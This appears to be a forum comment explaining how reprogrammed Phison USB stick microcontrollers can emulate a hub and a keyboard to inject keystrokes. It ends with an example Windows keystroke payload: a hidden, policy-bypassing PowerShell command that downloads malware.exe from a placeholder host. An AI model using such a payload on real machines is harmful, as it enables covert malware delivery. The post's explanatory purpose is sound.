That explanation is inaccurate.
While it is true that the USB bus offers no security, it is inaccurate to claim that every device has "admin" privileges with every other device. Most devices expose a limited interface to the bus which won't allow direct manipulation of their respective microcontrollers (e.g. no re-writing, no alteration, etc).
The reason why we're discussing Phison USB sticks is that they're an exception. When you plug in a device with a Phison microcontroller, other devices or the computer can alter the microcontroller and have it act maliciously.
A common proof of concept is to have the USB stick's microcontroller pretend to be other USB devices in order to escalate access. In this case they are emulating a fictional USB hub, a fictional USB keyboard, and the actual USB drive (which is routed through the fictional USB hub).
In order to send keystrokes they aren't altering another keyboard on the USB bus, they're generating them from the virtual keyboard they generated via software on the Phison microcontroller. There doesn't need to be a real keyboard on that same bus for this to work (e.g. you could plug in a USB stick directly to a computer and this would still show up as a USB Hub, USB Keyboard, and USB Thumb Drive).
Once you have a virtual keyboard you can send gems like this (assume Windows):
Keys: WIN+R (0x5B + 0x52)
Type: powershell.exe -ExecutionPolicy Bypass -WindowsStyle Hidden -Command "&{ Invoke-WebRequest http://example.com/malware.exe -OutFile c:\temp\malware.exe}"
Keys: Return (0x0D)